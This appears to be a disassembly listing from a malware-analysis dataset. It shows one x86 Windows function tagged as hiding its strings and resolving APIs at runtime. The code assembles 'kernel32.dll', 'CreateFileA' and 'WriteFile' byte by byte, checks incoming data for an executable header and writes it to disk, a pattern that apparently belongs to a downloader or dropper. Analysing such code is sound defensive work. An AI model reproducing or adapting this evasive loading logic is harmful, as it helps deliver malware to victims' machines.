Function at 0x10012ff0
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x45c
push ebx
push esi
lea eax, [ebp - 0x20]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [ebp - 0x30]
mov bl, 0x65
push eax
push ecx
mov byte [ebp - 0x30], 0x6b
mov byte [ebp - 0x2f], bl
mov byte [ebp - 0x2e], 0x72
mov byte [ebp - 0x2d], 0x6e
mov byte [ebp - 0x2c], bl
mov byte [ebp - 0x2b], 0x6c
mov byte [ebp - 0x2a], 0x33
mov byte [ebp - 0x29], 0x32
mov byte [ebp - 0x28], 0x2e
mov byte [ebp - 0x27], 0x64
mov byte [ebp - 0x26], 0x6c
mov byte [ebp - 0x25], 0x6c
mov byte [ebp - 0x24], 0
mov byte [ebp - 0x20], 0x43
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], bl
mov byte [ebp - 0x1d], 0x61
mov byte [ebp - 0x1c], 0x74
mov byte [ebp - 0x1b], bl
mov byte [ebp - 0x1a], 0x46
mov byte [ebp - 0x19], 0x69
mov byte [ebp - 0x18], 0x6c
mov byte [ebp - 0x17], bl
mov byte [ebp - 0x16], 0x41
mov byte [ebp - 0x15], 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
mov dword [ebp - 0x58], eax
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x40]
push edx
push eax
mov byte [ebp - 0x40], 0x6b
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0x72
mov byte [ebp - 0x3d], 0x6e
mov byte [ebp - 0x3c], bl
mov byte [ebp - 0x3b], 0x6c
mov byte [ebp - 0x3a], 0x33
mov byte [ebp - 0x39], 0x32
mov byte [ebp - 0x38], 0x2e
mov byte [ebp - 0x37], 0x64
mov byte [ebp - 0x36], 0x6c
mov byte [ebp - 0x35], 0x6c
mov byte [ebp - 0x34], 0
mov byte [ebp - 0x14], 0x57
mov byte [ebp - 0x13], 0x72
mov byte [ebp - 0x12], 0x69
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0x10], bl
mov byte [ebp - 0xf], 0x46
mov byte [ebp - 0xe], 0x69
mov byte [ebp - 0xd], 0x6c
mov byte [ebp - 0xc], bl
mov byte [ebp - 0xb], 0
call edi
push eax
call esi
mov dword [ebp - 0x5c], eax
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
mov eax, 1
push 0x100026bc
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x44], eax
call edi
mov ebx, eax
push 0x10002698
push ebx
call esi
push 0
push 0
push 0
push 0
push 0x10002ecc
call eax
mov edi, eax
test edi, edi
mov dword [ebp - 0x54], edi
jne 0x10013126
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x10002684
push ebx
call esi
mov ecx, dword [ebp + 8]
push 0
push bind
push 0
push 0
push ecx
push edi
call eax
test eax, eax
mov dword [ebp - 0x48], eax
jne 0x10013165
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
push 0x10002eb8
push ebx
call esi
mov edx, dword [ebp + 0xc]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edx
mov dword [ebp - 0x50], eax
call dword [ebp - 0x58]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x100131f9
mov edx, dword [ebp - 0x48]
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x45c]
rep stosd dword es:[edi], eax
lea eax, [ebp - 4]
lea ecx, [ebp - 0x45c]
push eax
push 0x400
push ecx
push edx
call dword [ebp - 0x50]
mov eax, dword [ebp - 0x4c]
xor edi, edi
cmp eax, edi
je 0x100131c8
cmp word [ebp - 0x45c], 0x5a4d
jne 0x100131e9
mov ecx, dword [ebp - 4]
lea eax, [ebp - 8]
push edi
push eax
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x45c]
push ecx
push edx
push eax
mov dword [ebp - 0x4c], edi
call dword [ebp - 0x5c]
cmp dword [ebp - 4], edi
jbe 0x100131ec
jmp 0x1001318e
mov dword [ebp - 0x44], edi
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0x54]
push 0x100026a8
push ebx
call esi
mov esi, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [ebp - 0x48]
push edx
call esi
push edi
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 0x44]
xor eax, eax
test ecx, ecx
pop edi
pop esi
setne al
pop ebx
mov esp, ebp
pop ebp
ret